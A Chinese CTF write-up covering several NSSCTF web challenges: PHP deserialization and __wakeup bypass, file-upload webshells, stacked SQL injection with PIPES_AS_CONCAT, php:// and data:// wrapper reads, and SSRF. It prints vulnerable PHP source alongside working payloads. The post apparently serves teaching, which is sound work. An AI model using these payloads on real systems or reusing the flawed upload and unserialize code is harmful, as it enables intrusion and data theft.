NSSCTF做题

news2024/10/7 9:17:27

[第五空间 2021]WebFTP

打开题目 发现是登录的界面 用admin和password试一下发现不行

用dirsearch扫一下

发现了git泄露 但是用githack下载不下来文件 去网上查了一下webftp 发现是一个在线php文件管理系统

WebFTP——在线FTP工具:强大的PHP在线文件管理系统-時日 在这篇博客中提到,引用一下

发现能直接登录phpinfo.php 拿到flag

[SWPUCTF 2021 新生赛]Do_you_know_http

页面显示 请使用browser浏览器

用bp抓包修改一下

 User- Agent中文名为用户代理,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识

修改之后,发现页面显示成功 ,在Location里边有一个./a.php 访问一下

访问后显示:

用xff来伪造一下

 得到flag

[SWPUCTF 2021 新生赛]ez_unserialize

没找到什么东西,而且还抓不到包,用dirsearch扫一下

打开看看这三个,在robots.txt找到了文件 打开看看

找到了源码  开始分析

 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{//定义类

    public $admin;//公共变量
    public $passwd;

    public function __construct(){//__construct() 函数创建一个新的 SimpleXMLElement 对象
        $this->admin ="user";
        $this->passwd = "123456";构造函数接受两个参数user 和 123456,并将它们分别赋值给类的成员变量 admin 和 password
    }

        public function __destruct(){//析构函数 __destruct 则是在对象被销毁之前自动调用的方法
        if($this->admin === "admin" && $this->passwd === "ctf"){//判断admin变量是不是等于admin,passwd变量是不是等于ctf
            include("flag.php");
            echo $flag;//如果是,得到flag
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";//不是的话得到这个
        }
    }
}

$p = $_GET['p'];//get传参p
unserialize($p);//反序列化变量p

?>

解题

<?php
class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }
}
$a=new wllm();
$a->admin ="admin";
$a->passwd = "ctf";
$b = serialize($a);
echo $b
?>

 得到序列化

 

构造payload:p=

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

得到flag

 

[SWPUCTF 2021 新生赛]easyupload1.0 

传php小马

 

传图片上去

发现成功

改文件类型试试

上传成功,连接蚁剑

 得到flag发现这个是错的

不在www目录下 去phpinfo里边看看

果然找到了 flag

附上源码

<?php
session_start();
echo "
<meta charset=\"utf-8\">";
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}

if(isset($_FILES['uploaded'])) {
    $target_path  = "./upload";
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];

    if($_FILES["uploaded"]["size"] > 2048){
        die("文件太大了0.0");
    }
 
    if ((($_FILES["uploaded"]["type"] == " ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/gif")|| ($_FILES["uploaded"]["type"] == "image/png")) )
    {
        $content = file_get_contents($uploaded_tmp);
        move_uploaded_file($uploaded_tmp, $t_path);
        echo "{$t_path} succesfully uploaded!";
    }
    else
    {
        die("想啥呢!");
    }
}

else
{
    die("什么都不传就想白给f1ag??");
}

?>

[SWPUCTF 2021 新生赛]easyupload2.0 

正常上传小马

 

 上传一句话木马失败

上传照片试一试

 上传照片成功,用bp抓包改一下类型看看

还是不行,把后缀改掉试试,上传phtml文件 发现成功

 蚁剑链接

在 /var/www/html/flag.php

 

附源码

<?php
session_start();
echo "
<meta charset=\"utf-8\">";
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}

if(isset($_FILES['uploaded']))
{
    $target_path  =  "./upload";
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
 
    if(preg_match("/php|hta|ini/i", $uploaded_ext))
    {
        die("php是不行滴");
    }
    else
    {
        $content = file_get_contents($uploaded_tmp);
        move_uploaded_file($uploaded_tmp, $t_path);
        echo "{$t_path} succesfully uploaded!";
        }
}

else
{
    die("不传🐎还想要f1ag?");
}

?>

[SWPUCTF 2021 新生赛]no_wakeup 

点击首页超链接,发现了反序列化,来解析

 

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{//定义类


        public $admin;
        public $passwd;//公共变量

        public function __construct(){{//__construct() 函数创建一个新的 SimpleXMLElement 对象
            $this->admin ="user";//赋值为user
            $this->passwd = "123456";//赋值为123456
        }

        public function __wakeup(){//类中定义了一个特殊方法 __wakeup()。__wakeup() 方法在 PHP 的反序列化过程中被调用
            $this->passwd = sha1($this->passwd);//该方法使用函数对属性的值进行哈希处理
        }

        public function __destruct(){析构函数 __destruct 则是在对象被销毁之前自动调用的方法
            if($this->admin === "admin" && $this->passwd === "wllm"){//两个变量分别赋值为admin和wllm
                include("flag.php");//如果成功,就得到flag
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];//变量Letmeseesee用get传参是p
unserialize($Letmeseesee);反序列化变量Letmeseesee

?>

<?php
class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }
}
$a=new HaHaHa();
$a->admin ="admin";
$a->passwd = "wllm";
$b = serialize($a);
echo $b
?>

 得到序列化 然后在传参进行反序列化得到flag

 这里需要绕过__wakeup函数

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

只要让他的类型>2就可以了 payload :

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

得到flag

 [suctf 2019]EasySQL

 

尝试输入 1' and 1=1 发现不管是字符型还是数字型都显示nonon

 

输入1 显示

 应该是堆叠注入

看一下数据库信息,      1;show databases;

 找到了库 看表   1;show tables;

找到了字段

 看到Flag表,猜测flag应该在Flag中。但是用1;show columns from Flag;无法回显出flag只会回显Nonono.  -->说明flag被过滤掉了(注:1;show columns from用来查询表中列名称)

 

这里就涉及到了别的知识

这道题在最初测试的时候:非0数字回显1,0和字母不会回显任何内容

先了解一下||操作符:在MySQL中,操作符||表示“或”逻辑:

command1 || command2
c1和c2其中一侧为1则取1,否则取0

这里猜测后端语句,因为只有当我们输入非零数字时才会会显出1,而0和其他全都无回显,而猜测逻辑大致是这样的:大胆猜测后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 ||  一个列名 from 表名。(select 输入数据 || flag from Flag)

mysql中||表示连接操作符,不表示或的逻辑。
 既然我们要找到flag,后端又存在“或” 的逻辑,那么只需要把||或的逻辑改成连接符的作用就可以了

这里需要借用到:设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置)

 利用PIPES_AS_CONCAT令||起到连接符的作用。

构建payload:

    1;set sql_mode=PIPES_AS_CONCAT;select 1

    注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag

由此回显出flag

[SWPUCTF 2021 新生赛]PseudoProtocols 

页面显示

 

发现有参数 试试用php伪协议读取一下

base64解码

 还是用php伪协议读取

得到了一长串 解码发现了

file_get_contents() 把整个文件读入一个字符串中。

该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能

<?php
ini_set("max_execution_time", "180");//最大执行时间180s
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){//get传参变量a,'r' 表示只读,让a等于I want flag
    echo "success\n";
    echo $flag;
}
?>

 

这里要让需要让 $a 所表示的文件的内容存放I want flag,就需要用到另外一个伪协议 data协议,在我之前写的博客里边也有体现

data://伪协议,是数据流封装器,和php://相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过包含你输入的payload来实现目的
格式:?file=data://text/plain,payload ?>
如果对特殊字符进行了过滤,可以通过base64编码后再输入
?page=data://text/plain;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=

 因为原本的输入字符会被过滤,所以要用base64加密

构造的payload:

test2222222222222.php?a=data://text/plain;base64,SSB3YW50IGZsYWc=(因为前边有base64编码,所以后边数据要用base64的格式)

[NISACTF 2022]easyssrf

我的博客里有详细的介绍,在这里就不详细的介绍了

输入flag 反馈  

说是ssrf 用file读取一下:

访问一下这个网页

 

 他说flag在/flag里边 用file读取不了 直接用php伪协议读取

php://filter/read=convert.base64-encode/resource=/flag

解码得到flag NSSCTF{0202c5a3-75bf-4f0f-b315-0ddd83f691c7}

[ZJCTF 2019]NiZhuanSiWei 

这道题一共有三个需要注意的点

1.if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){//text要等于welcome to the zjctf

2. if(preg_match("/flag/",$file)){//正则限制
        echo "Not now!";
        exit();
    }else{
        include($file);  //useless.php

3.反序列化

这三步需要一步一步来

先看第一步,用data协议就可以

1.text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=(这步在第8题有讲)

2.因为有正则限制 如果有/flag/,就绕不过去,我们还要读取useless.php文件,就可以直接用filter协议来做

file=php://filter/read=convert.base64-encode/resource=useless.php

3.反序列化不知道条件 先看这两步

成功绕过得到base64 编码 进行解码

反序列化内容

<?php  

class Flag{  //flag.php  //定义类
    public $file;  //公共变量
    public function __tostring(){//public function __tostring() { ... }: 这是一个特殊的魔术方法 __toString(),在将对象转换为字符串时自动调用。
        if(isset($this->file)){  //检查是否设置了 $this->file
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");//使用 file_get_contents() 函数读取文件内容,并通过 echo 输出文件输出一个换行符 <br>。最后,返回字符串 "U R SO CLOSE !///COME ON PLZ"。
        }  
    } 

$password = unserialize($password);

同样要注意这句话 ,传参用password

<?php  

class Flag{  //flag.php  
    public $file="flag.php";  //这里要给file赋值!!!!
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}
$a = new Flag();
$b = serialize($a);
echo $b
?> 

最后的payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

到最后一步输入的时候发现绕不过去,但是每一部分的绕过的没有问题,最后发现是第二步的file=useless.php就可以了,如果用php伪协议就绕不过去,百思不得其解......

 成功绕过

得到flag

NSSCTF{fda7d4be-2e43-48f8-9cff-ae56f975c077} 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1038390.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CentOS7平台命令安装Anaconda3、配置Python3开发环境

要在 CentOS 7 上安装 Anaconda3&#xff0c;您可以按照以下步骤进行操作&#xff1a; 1. 下载 Anaconda3 安装包&#xff1a; 首先&#xff0c;访问 Anaconda 官方网站以获取最新版本的 Anaconda3 安装包的下载链接。可以使用 wget 命令来下载安装包。请确保选择适用于 Cent…

数字IC设计系列----单端口RAM、双端口RAM

一、单端口RAM原理及实现 1.1、概念/原理 在内存空间中开辟出一段固定大小的内存用于存储数据&#xff0c;每一个数据所占的bit位称之为位宽&#xff0c;这段内存空间中数据的总数称之为深度。例如reg [7:0] mem [255:0]&#xff0c;这段内存空间中每一个数据的位宽为8bit&am…

postgresql用户和角色

postgresql用户和角色 简述创建角色角色属性登录特权超级用户创建数据库创建角色启动复制密码修改角色属性 对象授权撤销授权组和成员删除角色 简述 PostgreSQL 通过角色的概念来控制数据库的访问权限。角色又包含了两种概念&#xff0c;具有登录 权限的角色称为用户&#xff…

Nature Communications | 张阳实验室:端到端深度学习实现高精度RNA结构预测

RNA分子是基因转录的主要执行者&#xff0c;也是细胞运作的隐形功臣。它们在基因表达调控、支架构建以及催化活性等多个生命过程中都扮演着关键角色。虽然RNA如此重要&#xff0c;但由于实验数据的缺乏&#xff0c;准确预测RNA 的三维空间结构仍然是目前计算生物学面临的重大挑…

Flink 内存模型

Jobmanage内存模型 1G 1C 的配置 上图不够直观,用户大脑无法第一反应出内存构成。 Total Process Memory = JVM堆内存 + JVM堆外内存(堆外内存+ JVM元空间 +JVM自身运行内存) Total Flink Memory = JVM堆内存 + 堆外内存 参数控制: Total Process Memory 对应 jobmanag…

2023 “华为杯” 中国研究生数学建模竞赛(C题)深度剖析|数学建模完整代码+建模过程全解全析

华为杯数学建模C题 当大家面临着复杂的数学建模问题时&#xff0c;你是否曾经感到茫然无措&#xff1f;作为2021年美国大学生数学建模比赛的O奖得主&#xff0c;我为大家提供了一套优秀的解题思路&#xff0c;让你轻松应对各种难题。 让我们来看看研赛的C题呀~&#xff01; 问…

二十四、MySQL事务操作演示

1、事务 &#xff08;1&#xff09;事务简介&#xff1a; &#xff08;2&#xff09;实际操作方式&#xff1a; 在执行MySQL语句时&#xff0c;系统默认自动提交&#xff0c;但是语句一旦出现报错&#xff0c;就可能导致数据出现大规模错误&#xff0c;所以我们要做的就是&…

牛客网解题之跳台阶

10.3 跳台阶 题目链接 牛客网 题目描述 一只青蛙一次可以跳上 1 级台阶&#xff0c;也可以跳上 2 级。求该青蛙跳上一个 n 级的台阶总共有多少种跳法。 解题思路 当 n 1 时&#xff0c;只有一种跳法&#xff1a; 当 n 2 时&#xff0c;有两种跳法&#xff1a; 跳 n 阶台…

【强化学习】03 ——马尔可夫决策过程

文章目录 1. 马尔科夫决策过程(Markov Decision Process&#xff0c;MDP)1.1. 马尔科夫性质1.2. 状态转移矩阵1.3. 马尔可夫过程1.3.1. 一个简单的例子 2. 马尔可夫奖励过程2.1. 回报2.2. 价值函数 3. 马尔科夫决策过程3.1. MDP五元组3.2. 策略3.3. 价值函数3.3.1. 状态价值函数…

MYSQL——命令大全

1.创建数据库&#xff1a; CREAT E DATABASE [IF NOT EXISTS] DATABASE_NAME; 2.查看数据库&#xff1a; SHOW DATABASES; 3.进入数据库 USE DATABASE_NAME; 4.指定字符集&#xff08;character&#xff09;和校对规则&#xff08;collation&#xff09;创建数据库 CREA…

Spring面试题18:Spring中可以注入一个null和一个空字符串吗?Spring中如何注入一个java集合?

该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:Spring中可以注入一个null和一个空字符串吗? 在Spring中是可以注入null和空字符串的。 注入null:可以使用@Value注解,将属性值设为null。例如:…

ChatGPT可以取代搜索引擎吗?

ChatGPT对于一些简单的问题&#xff0c;可以完美的完成任务。但是我让它写一篇完整的文章&#xff0c;看看它能否代替我进行写作地的时候&#xff0c;我确定它不能完全取代人类。 但是我们可以使用更多的指导来让AI在日常工作流程为我们工作&#xff0c;所以本文将讨论如何有效…

Spimes x5.0主题模板全开源源码

Spimes主题为博客、自媒体、资讯类的网站设计开发&#xff0c;自适应兼容手机、平板设备的团队&#xff0c;工作室门户主题&#xff0c;精心打磨的一处处细节。只为让您的站点拥有速度与优雅兼具的极致体验。小灯泡自媒体博客免授权 安装教程&#xff1a; 1.模板目录usr/them…

[管理与领导-102]:经营与管理的关系:攻守关系;武将文官关系;开疆拓土与守护城池的关系;战斗与练兵的关系;水涨船高,水落船低的关系。

目录 前言&#xff1a; 一、手中拿着锤子,一切看起来都像钉子 1.1 企业经营中过渡强调管理的表现&#xff1f; 1.2 企业经营中过渡强调管理的误区&#xff08;背后深层次的原因&#xff09; 二、无知者的无畏&#xff0c;独断者的自high 2.1 企业经营中过度忽律管理的表…

5个顶级的Blender生成式AI插件

推荐&#xff1a;用 NSDT编辑器 快速搭建可编程3D场景 Blender 以其强大的 3D 建模和动画工具而闻名。 但你知道它也可以用来制作令人难以置信的纹理和背景吗&#xff1f; 当然&#xff0c;使用正确的插件。 在本文中&#xff0c;我们将了解 Blender 的顶级 AI 插件。 这些插…

普通卷积、转置卷积详细介绍以及用法

转置卷积&#xff08;普通卷积、转置卷积详细介绍以及用法 1、普通卷积操作2、转置卷积2.1 Pytorch转置卷积实验 1、普通卷积操作 首先回顾下普通卷积&#xff0c;下图以stride1&#xff0c;padding0&#xff0c;kernel_size3为例&#xff0c;假设输入特征图大小是4x4的&#…

Kotlin只截取Float小数点后数值DecimalFormat

Kotlin只截取Float小数点后数值DecimalFormat import java.text.DecimalFormatfun main(args: Array<String>) {val pi 3.141516Fvar p pi - pi.toInt()println(p)val decimalFormat DecimalFormat("00.0000")val format decimalFormat.format(p)println(…

ajax method to retrieve images as a blob

go 服务端&#xff1a; 就是先把这个图片读出来 然后返回二进制的数据 byteFile, err : ioutil.ReadFile("." "/processed/" uuidStr"processed.png")if err ! nil {fmt.Println(err)}c.Header("Content-Disposition", "att…

[Linux] 2.Linux开发环境的搭建(Ubuntu)

虚拟机&#xff1a;VMare安装、Ubuntu、VitualBox 真机&#xff1a;公司的研发服务器 Linux虚拟机安装所需文件&#xff1a; 网盘资源&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1WN-tizjHpOgNF0tjbvcZsA?pwd2itd 提取码&#xff1a;2itd 文件解压&#xff…

聊聊设计模式——命令模式

目录 命令模式定义 优点 缺点 命令模式结构说明 工作流程 代码练习 应用场景 本质 涉及的设计原则 相关设计模式 开源框架中的应用 命令模式定义 将一个请求封装为一个对象&#xff0c;从而使你可用不同的请求对客户进行参数化&#xff1b;对请求排队或记录请求日志…